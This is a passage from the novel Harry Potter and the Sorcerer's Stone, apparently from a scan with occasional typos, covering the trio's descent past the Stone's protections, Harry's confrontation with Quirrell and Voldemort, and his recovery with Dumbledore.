temper. + +"I suppose you think you're harder to get past than a pack of +enchantments!" she stormed. "Enough of this nonsense! If I hear you 've +come anywhere near here again, I'll take another fifty points from +Gryffindor! Yes, Weasley, from my own house!" Harry and Ron went back to +the common room, Harry had just said, "At least Hermione's on Snape's +tail," when the portrait of the Fat Lady swung open and Hermione came +in. + +"I'm sorry, Harry!" she wailed. "Snape came out and asked me what I was +doing, so I said I was waiting for Flitwick, and Snape went to get him, +and I've only just got away, I don't know where Snape went." + +"Well, that's it then, isn't it?" Harry said. + +The other two stared at him. He was pale and his eyes were glittering. + +"I'm going out of here tonight and I'm going to try and get to the Stone +first." + +"You're mad!" said Ron. + +"You can't!" said Hermione. "After what McGonagall and Snape have said? +You'll be expelled!" + +"SO WHAP" Harry shouted. "Don't you understand? If Snape gets hold of +the Stone, Voldemort's coming back! Haven't you heard what it was like +when he was trying to take over? There won't be any Hogwarts to get +expelled from! He'll flatten it, or turn it into a school for the Dark +Arts! Losing points doesn't matter anymore, can't you see? D'you think +he'll leave you and your families alone if Gryffindor wins the house +cup? If I get caught before I can get to the Stone, well, I'll have to +go back to the Dursleys and wait for Voldemort to find me there, it's +only dying a bit later than I would have, because I'm never going over +to the Dark Side! I'm going through that trapdoor tonight and nothing +you two say is going to stop me! Voldemort killed my parents, remember?" + +He glared at them. + +"You're right Harry," said Hermione in a small voice. + +"I'll use the invisibility cloak," said Harry. "It's just lucky I got it +back." + +"But will it cover all three of us?" said Ron. + +"All -- all three of us?" + +"Oh, come off it, you don't think we'd let you go alone?" + +"Of course not," said Hermione briskly. "How do you think you'd get to +the Stone without us? I'd better go and took through my books, there +might be something useful..." + +"But if we get caught, you two will be expelled, too." + +"Not if I can help it," said Hermione grimly. "Flitwick told me in +secret that I got a hundred and twelve percent on his exam. They're not +throwing me out after that." + +After dinner the three of them sat nervously apart in the common room. +Nobody bothered them; none of the Gryffindors had anything to say to +Harry any more, after all. This was the first night he hadn't been upset +by it. Hermione was skimming through all her notes, hoping to come +across one of the enchantments they were about to try to break. Harry +and Ron didn't talk much. Both of them were thinking about what they +were about to do. + +Slowly, the room emptied as people drifted off to bed. + +"Better get the cloak," Ron muttered, as Lee Jordan finally left, +stretching and yawning. Harry ran upstairs to their dark dormitory. He +putted out the cloak and then his eyes fell on the flute Hagrid had +given him for Christmas. He pocketed it to use on Fluffy -- he didn't +feel much like singing. + +He ran back down to the common room. + +"We'd better put the cloak on here, and make sure it covers all three of +us -- if Filch spots one of our feet wandering along on its own --" + +"What are you doing?" said a voice from the corner of the room. Neville +appeared from behind an armchair, clutching Trevor the toad, who looked +as though he'd been making another bid for freedom. + +"Nothing, Neville, nothing," said Harry, hurriedly putting the cloak +behind his back. + +Neville stared at their guilty faces. + +"You're going out again," he said. + +"No, no, no," said Hermione. "No, we're not. Why don't you go to bed, +Neville?" + +Harry looked at the grandfather clock by the door. They couldn't afford +to waste any more time, Snape might even now be playing Fluffy to sleep. + +"You can't go out," said Neville, "you'll be caught again. Gryffindor +will be in even more trouble." + +"You don't understand," said Harry, "this is important." + +But Neville was clearly steeling himself to do something desperate. + +I won't let you do it," he said, hurrying to stand in front of the +portrait hole. "I'll -- I'll fight you!" + +"Neville, "Ron exploded, "get away from that hole and don't be an idiot +--" + +"Don't you call me an idiot!" said Neville. I don't think you should be +breaking any more rules! And you were the one who told me to stand up to +people!" + +"Yes, but not to us," said Ron in exasperation. "Neville, you don't know +what you're doing." + +He took a step forward and Neville dropped Trevor the toad, who leapt +out of sight. + +"Go on then, try and hit me!" said Neville, raising his fists. "I'm +ready!" + +Harry turned to Hermione. + +"Do something," he said desperately. + +Hermione stepped forward. + +"Neville," she said, "I'm really, really sorry about this." + +She raised her wand. + +"Petrificus Totalus!" she cried, pointing it at Neville. + +Neville's arms snapped to his sides. His legs sprang together. His whole +body rigid, he swayed where he stood and then fell flat on his face, +stiff as a board. + +Hermione ran to turn him over. Neville's jaws were jammed together so he +couldn't speak. Only his eyes were moving, looking at them in horror. + +"What've you done to him?" Harry whispered. + +"It's the full Body-Bind," said Hermione miserably. "Oh, Neville, I'm so +sorry." + +"We had to, Neville, no time to explain," said Harry. + +"You'll understand later, Neville," said Ron as they stepped over him +and pulled on the invisibility cloak. + +But leaving Neville lying motionless on the floor didn't feel like a +very good omen. In their nervous state, every statue's shadow looked +like Filch, every distant breath of wind sounded like Peeves swooping +down on them. At the foot of the first set of stairs, they spotted Mrs. +Norris skulking near the top. + +"Oh, let's kick her, just this once," Ron whispered in Harry's ear, but +Harry shook his head. As they climbed carefully around her, Mrs. Norris +turned her lamplike eyes on them, but didn't do anything. + +They didn't meet anyone else until they reached the staircase up to the +third floor. Peeves was bobbing halfway up, loosening the carpet so that +people would trip. + +"Who's there?" he said suddenly as they climbed toward him. He narrowed +his wicked black eyes. "Know you're there, even if I can't see you. Are +you ghoulie or ghostie or wee student beastie?" + +He rose up in the air and floated there, squinting at them. + +"Should call Filch, I should, if something's a-creeping around unseen." + +Harry had a sudden idea. + +"Peeves," he said, in a hoarse whisper, "the Bloody Baron has his own +reasons for being invisible." + +Peeves almost fell out of the air in shock. He caught himself in time +and hovered about a foot off the stairs. + +"So sorry, your bloodiness, Mr. Baron, Sir," he said greasily. "My +mistake, my mistake -- I didn't see you -- of course I didn't, you're +invisible -- forgive old Peevsie his little joke, sir." + +"I have business here, Peeves," croaked Harry. "Stay away from this +place tonight." + +"I will, sir, I most certainly will," said Peeves, rising up in the air +again. "Hope your business goes well, Baron, I'll not bother you." + +And he scooted off + +"Brilliant, Harry!" whispered Ron. + +A few seconds later, they were there, outside the third-floor corridor +-- and the door was already ajar. + +"Well, there you are," Harry said quietly, "Snape's already got past +Fluffy." + +Seeing the open door somehow seemed to impress upon all three of them +what was facing them. Underneath the cloak, Harry turned to the other +two. + +"If you want to go back, I won't blame you," he said. "You can take the +cloak, I won't need it now." + +"Don't be stupid," said Ron. + +"We're coming," said Hermione. + +Harry pushed the door open. + +As the door creaked, low, rumbling growls met their ears. All three of +the dog's noses sniffed madly in their direction, even though it +couldn't see them. + +"What's that at its feet?" Hermione whispered. + +"Looks like a harp," said Ron. "Snape must have left it there." + +"It must wake up the moment you stop playing," said Harry. "Well, here +goes..." + +He put Hagrid's flute to his lips and blew. It wasn't really a tune, but +from the first note the beast's eyes began to droop. Harry hardly drew +breath. Slowly, the dog's growls ceased -- it tottered on its paws and +fell to its knees, then it slumped to the ground, fast asleep. + +"Keep playing," Ron warned Harry as they slipped out of the cloak and +crept toward the trapdoor. They could feel the dog's hot, smelly breath +as they approached the giant heads. "I think we'll be able to pull the +door open," said Ron, peering over the dog's back. "Want to go first, +Hermione?" + +"No, I don't!" + +"All right." Ron gritted his teeth and stepped carefully over the dog's +legs. He bent and pulled the ring of the trapdoor, which swung up and +open. + +"What can you see?" Hermione said anxiously. + +"Nothing -- just black -- there's no way of climbing down, we'll just +have to drop." + +Harry, who was still playing the flute, waved at Ron to get his +attention and pointed at himself. + +"You want to go first? Are you sure?" said Ron. "I don't know how deep +this thing goes. Give the flute to Hermione so she can keep him asleep." + +Harry handed the flute over. In the few seconds' silence, the dog +growled and twitched, but the moment Hermione began to play, it fell +back into its deep sleep. + +Harry climbed over it and looked down through the trapdoor. There was no +sign of the bottom. + +He lowered himself through the hole until he was hanging on by his +fingertips. Then he looked up at Ron and said, "If anything happens to +me, don't follow. Go straight to the owlery and send Hedwig to +Dumbledore, right?" + +"Right," said Ron. + +"See you in a minute, I hope... + +And Harry let go. Cold, damp air rushed past him as he fell down, down, +down and -- FLUMP. With a funny, muffled sort of thump he landed on +something soft. He sat up and felt around, his eyes not used to the +gloom. It felt as though he was sitting on some sort of plant. + +"It's okay!" he called up to the light the size of a postage stamp, +which was the open trapdoor, "it's a soft landing, you can jump!" + +Ron followed right away. He landed, sprawled next to Harry. + +"What's this stuff?" were his first words. + +"Dunno, some sort of plant thing. I suppose it's here to break the fall. +Come on, Hermione!" + +The distant music stopped. There was a loud bark from the dog, but +Hermione had already jumped. She landed on Harry's other side. + +"We must be miles under the school , she said. + +"Lucky this plant thing's here, really," said Ron. + +"Lucky!" shrieked Hermione. "Look at you both!" + +She leapt up and struggled toward a damp wall. She had to struggle +because the moment she had landed, the plant had started to twist +snakelike tendrils around her ankles. As for Harry and Ron, their legs +had already been bound tightly in long creepers without their noticing. + +Hermione had managed to free herself before the plant got a firm grip on +her. Now she watched in horror as the two boys fought to pull the plant +off them, but the more they strained against it, the tighter and faster +the plant wound around them. + +"Stop moving!" Hermione ordered them. "I know what this is -- it's +Devil's Snare!" + +"Oh, I'm so glad we know what it's called, that's a great help," snarled +Ron, leaning back, trying to stop the plant from curling around his +neck. "Shut up, I'm trying to remember how to kill it!" said Hermione. + +"Well, hurry up, I can't breathe!" Harry gasped, wrestling with it as it +curled around his chest. + +"Devil's Snare, Devil's Snare... what did Professor Sprout say? -- it +likes the dark and the damp + +"So light a fire!" Harry choked. + +"Yes -- of course -- but there's no wood!" Hermione cried, wringing her +hands. + +"HAVE YOU GONE MAD?" Ron bellowed. "ARE YOU A WITCH OR NOT?" + +"Oh, right!" said Hermione, and she whipped out her wand, waved it, +muttered something, and sent a jet of the same bluebell flames she had +used on Snape at the plant. In a matter of seconds, the two boys felt it +loosening its grip as it cringed away from the light and warmth. +Wriggling and flailing, it unraveled itself from their bodies, and they +were able to pull free. + +"Lucky you pay attention in Herbology, Hermione," said Harry as he +joined her by the wall, wiping sweat off his face. + +"Yeah," said Ron, "and lucky Harry doesn't lose his head in a crisis -- +'there's no wood,' honestly." + +"This way," said Harry, pointing down a stone passageway, which was the +only way forward. + +All they could hear apart from their footsteps was the gentle drip of +water trickling down the walls. The passageway sloped downward, and +Harry was reminded of Gringotts. With an unpleasant jolt of the heart, +he remembered the dragons said to be guarding vaults in the wizards' +bank. If they met a dragon, a fully-grown dragon -- Norbert had been bad +enough... + +"Can you hear something?" Ron whispered. + +Harry listened. A soft rustling and clinking seemed to be coming from up +ahead. + +"Do you think it's a ghost?" + +"I don't know... sounds like wings to me." + +"There's light ahead -- I can see something moving." + +They reached the end of the passageway and saw before them a brilliantly +lit chamber, its ceiling arching high above them. It was full of small, +jewel-bright birds, fluttering and tumbling all around the room. On the +opposite side of the chamber was a heavy wooden door. + +"Do you think they'll attack us if we cross the room?" said Ron. + +"Probably," said Harry. "They don't look very vicious, but I suppose if +they all swooped down at once... well, there's no other choice... I'll +run." + +He took a deep breath, covered his face with his arms, and sprinted +across the room. He expected to feel sharp beaks and claws tearing at +him any second, but nothing happened. He reached the door untouched. He +pulled the handle, but it was locked. + +The other two followed him. They tugged and heaved at the door, but it +wouldn't budge, not even when Hermione tried her Alohomora charm. + +"Now what?" said Ron. + +"These birds... they can't be here just for decoration," said Hermione. + +They watched the birds soaring overhead, glittering -- glittering? + +"They're not birds!" Harry said suddenly. "They're keys! Winged keys -- +look carefully. So that must mean..." he looked around the chamber while +the other two squinted up at the flock of keys. "... yes -- look! +Broomsticks! We've got to catch the key to the door!" + +"But there are hundreds of them!" + +Ron examined the lock on the door. + +"We're looking for a big, old-fashioned one -- probably silver, like the +handle." + +They each seized a broomstick and kicked off into the air, soaring into +the midst of the cloud of keys. They grabbed and snatched, but the +bewitched keys darted and dived so quickly it was almost impossible to +catch one. + +Not for nothing, though, was Harry the youngest Seeker in a century. He +had a knack for spotting things other people didn't. After a minute's +weaving about through the whirl of rainbow feathers, he noticed a large +silver key that had a bent wing, as if it had already been caught and +stuffed roughly into the keyhole. + +"That one!" he called to the others. "That big one -- there -- no, there +-- with bright blue wings -- the feathers are all crumpled on one side." + +Ron went speeding in the direction that Harry was pointing, crashed into +the ceiling, and nearly fell off his broom. + +"We've got to close in on it!" Harry called, not taking his eyes off the +key with the damaged wing. "Ron, you come at it from above -- Hermione, +stay below and stop it from going down and I'll try and catch it. Right, +NOW!" + +Ron dived, Hermione rocketed upward, the key dodged them both, and Harry +streaked after it; it sped toward the wall, Harry leaned forward and +with a nasty, crunching noise, pinned it against the stone with one +hand. Ron and Hermione's cheers echoed around the high chamber. + +They landed quickly, and Harry ran to the door, the key struggling in +his hand. He rammed it into the lock and turned -- it worked. The moment +the lock had clicked open, the key took flight again, looking very +battered now that it had been caught twice. + +"Ready?" Harry asked the other two, his hand on the door handle. They +nodded. He pulled the door open. + +The next chamber was so dark they couldn't see anything at all. But as +they stepped into it, light suddenly flooded the room to reveal an +astonishing sight. + +They were standing on the edge of a huge chessboard, behind the black +chessmen, which were all taller than they were and carved from what +looked like black stone. Facing them, way across the chamber, were the +white pieces. Harry, Ron and Hermione shivered slightly -- the towering +white chessmen had no faces. + +"Now what do we do?" Harry whispered. + +"It's obvious, isn't it?" said Ron. "We've got to play our way across +the room." + +Behind the white pieces they could see another door. + +"How?" said Hermione nervously. + +"I think," said Ron, "we're going to have to be chessmen." + +He walked up to a black knight and put his hand out to touch the +knight's horse. At once, the stone sprang to life. The horse pawed the +ground and the knight turned his helmeted head to look down at Ron. + +"Do we -- er -- have to join you to get across?" The black knight +nodded. Ron turned to the other two. + +"This needs thinking about he said. I suppose we've got to take the +place of three of the black pieces...." + +Harry and Hermione stayed quiet, watching Ron think. Finally he said, +"Now, don't be offended or anything, but neither of you are that good at +chess --" + +"We're not offended," said Harry quickly. "Just tell us what to do." + +"Well, Harry, you take the place of that bishop, and Hermione, YOU 90 +next to him instead of that castle." + +"What about you?" + +"I'm going to be a knight," said Ron. + +The chessmen seemed to have been listening, because at these words a +knight, a bishop, and a castle turned their backs on the white pieces +and walked off the board, leaving three empty squares that Harry, Ron, +and Hermione took. + +"White always plays first in chess," said Ron, peering across the board. +"Yes... look..." + +A white pawn had moved forward two squares. + +Ron started to direct the black pieces. They moved silently wherever he +sent them. Harry's knees were trembling. What if they lost? + +"Harry -- move diagonally four squares to the right." + +Their first real shock came when their other knight was taken. The white +queen smashed him to the floor and dragged him off the board, where he +lay quite still, facedown. + +"Had to let that happen," said Ron, looking shaken. "Leaves you free to +take that bishop, Hermione, go on." + +Every time one of their men was lost, the white pieces showed no mercy. +Soon there was a huddle of limp black players slumped along the wall. +Twice, Ron only just noticed in time that Harry and Hermione were in +danger. He himself darted around the board, taking almost as many white +pieces as they had lost black ones. + +"We're nearly there," he muttered suddenly. "Let me think let me +think..." + +The white queen turned her blank face toward him. + +"Yes..." said Ron softly, "It's the only way... I've got to be taken." + +"NOF Harry and Hermione shouted. + +"That's chess!" snapped Ron. "You've got to make some sacrifices! I take +one step forward and she'll take me -- that leaves you free to checkmate +the king, Harry!" + +"But --" + +"Do you want to stop Snape or not?" + +"Ron --" + +"Look, if you don't hurry up, he'll already have the Stone!" + +There was no alternative. + +"Ready?" Ron called, his face pale but determined. "Here I go - now, +don't hang around once you've won." + +He stepped forward, and the white queen pounced. She struck Ron hard +across the head with her stone arm, and he crashed to the floor - +Hermione screamed but stayed on her square - the white queen dragged Ron +to one side. He looked as if he'd been knocked out. + +Shaking, Harry moved three spaces to the left. + +The white king took off his crown and threw it at Harry's feet. They had +won. The chessmen parted and bowed, leaving the door ahead clear. With +one last desperate look back at Ron, Harry and Hermione charged through +the door and up the next passageway. + +"What if he's --?" + +"He'll be all right," said Harry, trying to convince himself. "What do +you reckon's next?" + +"We've had Sprout's, that was the Devil's Snare; Flitwick must've put +charms on the keys; McGonagall transfigured the chessmen to make them +alive; that leaves Quirrell's spell, and Snape's." + +They had reached another door. + +"All right?" Harry whispered. + +"Go on." + +Harry pushed it open. + +A disgusting smell filled their nostrils, making both of them pull their +robes up over their noses. Eyes watering, they saw, flat on the floor in +front of them, a troll even larger than the one they had tackled, out +cold with a bloody lump on its head. + +"I'm glad we didn't have to fight that one," Harry whispered as they +stepped carefully over one of its massive legs. "Come on, I can't +breathe." + +He pulled open the next door, both of them hardly daring to look at what +came next - but there was nothing very frightening in here, just a table +with seven differently shaped bottles standing on it in a line. + +"Snape's," said Harry. "What do we have to do?" + +They stepped over the threshold, and immediately a fire sprang up behind +them in the doorway. It wasn't ordinary fire either; it was purple. At +the same instant, black flames shot up in the doorway leading onward. +They were trapped. + +"Look!" Hermione seized a roll of paper lying next to the bottles. Harry +looked over her shoulder to read it: + +Danger lies before you, while safety lies behind, + +Two of us will help you, which ever you would find, + +One among us seven will let you move ahead, + +Another will transport the drinker back instead, + +Two among our number hold only nettle wine, + +Three of us are killers, waiting bidden in line. + +Choose, unless you wish to stay here forevermore, + +To help you in your choice, we give you these clues four: + +First, however slyly the poison tries to hide + +You will always find some on nettle wine's left side; + +Second, different are those who stand at either end, + +But if you would move onward, neither is your friend; + +Third, as you see clearly, all are different size, + +Neither dwarf nor giant holds death in their insides; + +Fourth, the second left and the second on the right + +Are twins once you taste them, though different at first sight. + +Hermione let out a great sigh and Harry, amazed, saw that she was +smiling, the very last thing he felt like doing. + +"Brilliant," said Hermione. "This isn't magic -- it's logic -- a puzzle. +A lot of the greatest wizards haven't got an ounce of logic, they'd be +stuck in here forever." + +"But so will we, won't we?" "Of course not," said Hermione. "Everything +we need is here on this paper. Seven bottles: three are poison; two are +wine; one will get us safely through the black fire, and one will get us +back through the purple." + +"But how do we know which to drink?" + +"Give me a minute." + +Hermione read the paper several times. Then she walked up and down the +line of bottles, muttering to herself and pointing at them. At last, she +clapped her hands. + +"Got it," she said. "The smallest bottle will get us through the black +fire -- toward the Stone." + +Harry looked at the tiny bottle. + +"There's only enough there for one of us," he said. "That's hardly one +swallow." + +They looked at each other. + +"Which one will get you back through the purple flames?" + +Hermione pointed at a rounded bottle at the right end of the line. + +"You drink that," said Harry. "No, listen, get back and get Ron. Grab +brooms from the flying- key room, they'll get you out of the trapdoor +and past Fluffy -- go straight to the owlery and send Hedwig to +Dumbledore, we need him. I might be able to hold Snape off for a while, +but I'm no match for him, really." + +"But Harry -- what if You-Know-Who's with him?" + +"Well -- I was lucky once, wasn't I?" said Harry, pointing at his scar. +"I might get lucky again." + +Hermione's lip trembled, and she suddenly dashed at Harry and threw her +arms around him. + +"Hermione!" + +"Harry -- you're a great wizard, you know." + +"I'm not as good as you," said Harry, very embarrassed, as she let go of +him. + +"Me!" said Hermione. "Books! And cleverness! There are more important +things -- friendship and bravery and -- oh Harry -- be careful!" + +"You drink first," said Harry. "You are sure which is which, aren't +you?" + +"Positive," said Hermione. She took a long drink from the round bottle +at the end, and shuddered. + +"It's not poison?" said Harry anxiously. + +"No -- but it's like ice." + +"Quick, go, before it wears off." + +"Good luck -- take care." + +"GO!" + +Hermione turned and walked straight through the purple fire. + +Harry took a deep breath and picked up the smallest bottle. He turned to +face the black flames. + +"Here I come," he said, and he drained the little bottle in one gulp. + +It was indeed as though ice was flooding his body. He put the bottle +down and walked forward; he braced himself, saw the black flames licking +his body, but couldn't feel them -- for a moment he could see nothing +but dark fire -- then he was on the other side, in the last chamber. + +There was already someone there -- but it wasn't Snape. It wasn't even +Voldemort. + + +CHAPTER SEVENTEEN + +THE MAN WITH TWO FACES + +It was Quirrell. + +"You!" gasped Harry. + +Quirrell smiled. His face wasn't twitching at all. + +"Me," he said calmly. "I wondered whether I'd be meeting you here, +Potter." + +"But I thought -- Snape --" + +"Severus?" Quirrell laughed, and it wasn't his usual quivering treble, +either, but cold and sharp. "Yes, Severus does seem the type, doesn't +he? So useful to have him swooping around like an overgrown bat. Next to +him, who would suspect p-p-poor, st-stuttering P-Professor Quirrell?" + +Harry couldn't take it in. This couldn't be true, it couldn't. + +"But Snape tried to kill me!" + +"No, no, no. I tried to kill you. Your friend Miss Granger accidentally +knocked me over as she rushed to set fire to Snape at that Quidditch +match. She broke my eye contact with you. Another few seconds and I'd +have got you off that broom. I'd have managed it before then if Snape +hadn't been muttering a countercurse, trying to save you." + +"Snape was trying to save me?" + +"Of course," said Quirrell coolly. "\Why do you think he wanted to +referee your next match? He was trying to make sure I didn't do it +again. Funny, really... he needn't have bothered. I couldn't do anything +with Dumbledore watching. All the other teachers thought Snape was +trying to stop Gryffindor from winning, he did make himself unpopular... +and what a waste of time, when after all that, I'm going to kill you +tonight." + +Quirrell snapped his fingers. Ropes sprang out of thin air and wrapped +themselves tightly around Harry. + +"You're too nosy to live, Potter. Scurrying around the school on +Halloween like that, for all I knew you'd seen me coming to look at what +was guarding the Stone." + +"You let the troll in?" + +"Certainly. I have a special gift with trolls -- you must have seen what +I did to the one in the chamber back there? Unfortunately, while +everyone else was running around looking for it, Snape, who already +suspected me, went straight to the third floor to head me off -- and not +only did my troll fail to beat you to death, that three-headed dog +didn't even manage to bite Snape's leg off properly. + +"Now, wait quietly, Potter. I need to examine this interesting mirror. + +It was only then that Harry realized what was standing behind Quirrell. +It was the Mirror of Erised. + +"This mirror is the key to finding the Stone," Quirrell murmured, +tapping his way around the frame. "Trust Dumbledore to come up with +something like this... but he's in London... I'll be far away by the +time he gets back...." + +All Harry could think of doing was to keep Quirrell talking and stop him +from concentrating on the mirror. + +"I saw you and Snape in the forest --" he blurted out. + +"Yes," said Quirrell idly, walking around the mirror to look at the +back. "He was on to me by that time, trying to find out how far I'd got. +He suspected me all along. Tried to frighten me - as though he could, +when I had Lord Voldemort on my side...." + +Quirrell came back out from behind the mirror and stared hungrily into +it. + +"I see the Stone... I'm presenting it to my master... but where is it?" + +Harry struggled against the ropes binding him, but they didn't give. He +had to keep Quirrell from giving his whole attention to the mirror. + +"But Snape always seemed to hate me so much." + +"Oh, he does," said Quirrell casually, "heavens, yes. He was at Hogwarts +with your father, didn't you know? They loathed each other. But he never +wanted you dead." + +"But I heard you a few days ago, sobbing -- I thought Snape was +threatening you...." + +For the first time, a spasm of fear flitted across Quirrell's face. + +"Sometimes," he said, "I find it hard to follow my master's instructions +-- he is a great wizard and I am weak --" + +"You mean he was there in the classroom with you?" Harry gasped. + +"He is with me wherever I go," said Quirrell quietly. "I met him when I +traveled around the world. A foolish young man I was then, full of +ridiculous ideas about good and evil. Lord Voldemort showed me how wrong +I was. There is no good and evil, there is only power, and those too +weak to seek it.... Since then, I have served him faithfully, although I +have let him down many times. He has had to be very hard on me." +Quirrell shivered suddenly. "He does not forgive mistakes easily. When I +failed to steal the stone from Gringotts, he was most displeased. He +punished me... decided he would have to keep a closer watch on me...." + +Quirrell's voice trailed away. Harry was remembering his trip to Diagon +Alley -how could he have been so stupid? He'd seen Quirrell there that +very day, shaken hands with him in the Leaky Cauldron. + +Quirrell cursed under his breath. + +"I don't understand... is the Stone inside the mirror? Should I break +it?" + +Harry's mind was racing. + +What I want more than anything else in the world at the moment, he +thought, is to find the Stone before Quirrell does. So if I look in the +mirror, I should see myseff finding it -- which means I'll see where +it's hidden! But how can I look without Quirrell realizing what I'm up +to? + +He tried to edge to the left, to get in front of the glass without +Quirrell noticing, but the ropes around his ankles were too tight: he +tripped and fell over. Quirrell ignored him. He was still talking to +himself. "What does this mirror do? How does it work? Help me, Master!" + +And to Harry's horror, a voice answered, and the voice seemed to come +from Quirrell himself + +"Use the boy... Use the boy..." + +Quirrell rounded on Harry. + +"Yes -- Potter -- come here." + +He clapped his hands once, and the ropes binding Harry fell off. Harry +got slowly to his feet. + +"Come here," Quirrell repeated. "Look in the mirror and tell me what you +see." + +Harry walked toward him. + +I must lie, he thought desperately. I must look and lie about what I +see, that's all. + +Quirrell moved close behind him. Harry breathed in the funny smell that +seemed to come from Quirrell's turban. He closed his eyes, stepped in +front of the mirror, and opened them again. + +He saw his reflection, pale and scared-looking at first. But a moment +later, the reflection smiled at him. It put its hand into its pocket and +pulled out a blood-red stone. It winked and put the Stone back in its +pocket -- and as it did so, Harry felt something heavy drop into his +real pocket. Somehow -- incredibly -- he'd gotten the Stone. + +"Well?" said Quirrell impatiently. "What do you see?" + +Harry screwed up his courage. + +"I see myself shaking hands with Dumbledore," he invented. "I -- I've +won the house cup for Gryffindor." + +Quirrell cursed again. + +"Get out of the way," he said. As Harry moved aside, he felt the +Sorcerer's Stone against his leg. Dare he make a break for it? + +But he hadn't walked five paces before a high voice spoke, though +Quirrell wasn't moving his lips. + +"He lies... He lies..." + +"Potter, come back here!" Quirrell shouted. "Tell me the truth! What did +you just see?" + +The high voice spoke again. + +"Let me speak to him... face-to-face..." + +"Master, you are not strong enough!" + +"I have strength enough... for this...." + +Harry felt as if Devil's Snare was rooting him to the spot. He couldn't +move a muscle. Petrified, he watched as Quirrell reached up and began to +unwrap his turban. What was going on? The turban fell away. Quirrell's +head looked strangely small without it. Then he turned slowly on the +spot. + +Harry would have screamed, but he couldn't make a sound. Where there +should have been a back to Quirrell's head, there was a face, the most +terrible face Harry had ever seen. It was chalk white with glaring red +eyes and slits for nostrils, like a snake. + +"Harry Potter..." it whispered. + +Harry tried to take a step backward but his legs wouldn't move. + +"See what I have become?" the face said. "Mere shadow and vapor ... I +have form only when I can share another's body... but there have always +been those willing to let me into their hearts and minds.... Unicorn +blood has strengthened me, these past weeks... you saw faithful Quirrell +drinking it for me in the forest... and once I have the Elixir of Life, +I will be able to create a body of my own.... Now... why don't you give +me that Stone in your pocket?" + +So he knew. The feeling suddenly surged back into Harry's legs. He +stumbled backward. + +"Don't be a fool," snarled the face. "Better save your own life and join +me... or you'll meet the same end as your parents.... They died begging +me for mercy..." + +"LIAR!" Harry shouted suddenly. + +Quirrell was walking backward at him, so that Voldemort could still see +him. The evil face was now smiling. + +"How touching..." it hissed. "I always value bravery... Yes, boy, your +parents were brave.... I killed your father first; and he put up a +courageous fight... but your mother needn't have died... she was trying +to protect you.... Now give me the Stone, unless you want her to have +died in vain." + +"NEVER!" + +Harry sprang toward the flame door, but Voldemort screamed "SEIZE HIM!" +and the next second, Harry felt Quirrell's hand close on his wrist. At +once, a needle-sharp pain seared across Harry's scar; his head felt as +though it was about to split in two; he yelled, struggling with all his +might, and to his surprise, Quirrell let go of him. The pain in his head +lessened -- he looked around wildly to see where Quirrell had gone, and +saw him hunched in pain, looking at his fingers -- they were blistering +before his eyes. + +"Seize him! SEIZE HIM!" shrieked Voldemort again, and Quirrell lunged, +knocking Harry clean off his feet' landing on top of him, both hands +around Harry's neck -- Harry's scar was almost blinding him with pain, +yet he could see Quirrell howling in agony. + +"Master, I cannot hold him -- my hands -- my hands!" + +And Quirrell, though pinning Harry to the ground with his knees, let go +of his neck and stared, bewildered, at his own palms -- Harry could see +they looked burned, raw, red, and shiny. + +"Then kill him, fool, and be done!" screeched Voldemort. + +Quirrell raised his hand to perform a deadly curse, but Harry, by +instinct, reached up and grabbed Quirrell's face -- + +"AAAARGH!" + +Quirrell rolled off him, his face blistering, too, and then Harry knew: +Quirrell couldn't touch his bare skin, not without suffering terrible +pain -- his only chance was to keep hold of Quirrell, keep him in enough +pain to stop him from doing a curse. + +Harry jumped to his feet, caught Quirrell by the arm, and hung on as +tight as he could. Quirrell screamed and tried to throw Harry off -- the +pain in Harry's head was building -- he couldn't see -- he could only +hear Quirrell's terrible shrieks and Voldemort's yells of, "KILL HIM! +KILL HIM!" and other voices, maybe in Harry's own head, crying, "Harry! +Harry!" + +He felt Quirrell's arm wrenched from his grasp, knew all was lost, and +fell into blackness, down ... down... down... + +Something gold was glinting just above him. The Snitch! He tried to +catch it, but his arms were too heavy. + +He blinked. It wasn't the Snitch at all. It was a pair of glasses. How +strange. + +He blinked again. The smiling face of Albus Dumbledore swam into view +above him. + +"Good afternoon, Harry," said Dumbledore. Harry stared at him. Then he +remembered: "Sir! The Stone! It was Quirrell! He's got the Stone! Sir, +quick --" + +"Calm yourself, dear boy, you are a little behind the times," said +Dumbledore. "Quirrell does not have the Stone." + +"Then who does? Sir, I --" + +"Harry, please relax, or Madam Pomfrey will have me thrown out. + +Harry swallowed and looked around him. He realized he must be in the +hospital wing. He was lying in a bed with white linen sheets, and next +to him was a table piled high with what looked like half the candy shop. + +"Tokens from your friends and admirers," said Dumbledore, beaming. "What +happened down in the dungeons between you and Professor Quirrell is a +complete secret, so, naturally, the whole school knows. I believe your +friends Misters Fred and George Weasley were responsible for trying to +send you a toilet seat. No doubt they thought it would amuse you. Madam +Pomfrey, however, felt it might not be very hygienic, and confiscated +it." + +"How long have I been in here?" + +"Three days. Mr. Ronald Weasley and Miss Granger will be most relieved +you have come round, they have been extremely worried." + +"But sit, the Stone + +I see you are not to be distracted. Very well, the Stone. Professor +Quirrell did not manage to take it from you. I arrived in time to +prevent that, although you were doing very well on your own, I must say. + +"You got there? You got Hermione's owl?" + +"We must have crossed in midair. No sooner had I reached London than it +became clear to me that the place I should be was the one I had just +left. I arrived just in time to pull Quirrell off you." + +"It was you." + +"I feared I might be too late." + +"You nearly were, I couldn't have kept him off the Stone much longer --" + +"Not the Stone, boy, you -- the effort involved nearly killed you. For +one terrible moment there, I was afraid it had. As for the Stone, it has +been destroyed." + +"Destroyed?" said Harry blankly. "But your friend -- Nicolas Flamel --" + +"Oh, you know about Nicolas?" said Dumbledore, sounding quite delighted. +"You did do the thing properly, didn't you? Well, Nicolas and I have had +a little chat, and agreed it's all for the best." + +"But that means he and his wife will die, won't they?" + +"They have enough Elixir stored to set their affairs in order and then, +yes, they will die." + +Dumbledore smiled at the look of amazement on Harry's face. + +"To one as young as you, I'm sure it seems incredible, but to Nicolas +and Perenelle, it really is like going to bed after a very, very long +day. After all, to the well-organized mind, death is but the next great +adventure. You know, the Stone was really not such a wonderful thing. As +much money and life as you could want! The two things most human beings +would choose above all -- the trouble is, humans do have a knack of +choosing precisely those things that are worst for them." Harry lay +there, lost for words. Dumbledore hummed a little and smiled at the +ceiling. + +"Sir?" said Harry. "I've been thinking... sir -- even if the Stone's +gone, Vol-, I mean, You-Know- Who --" + +"Call him Voldemort, Harry. Always use the proper name for things. Fear +of a name increases fear of the thing itself." + +"Yes, sir. Well, Voldemort's going to try other ways of coming back, +isn't he? I mean, he hasn't gone, has he?" + +"No, Harry, he has not. He is still out there somewhere, perhaps looking +for another body to share... not being truly alive, he cannot be killed. +He left 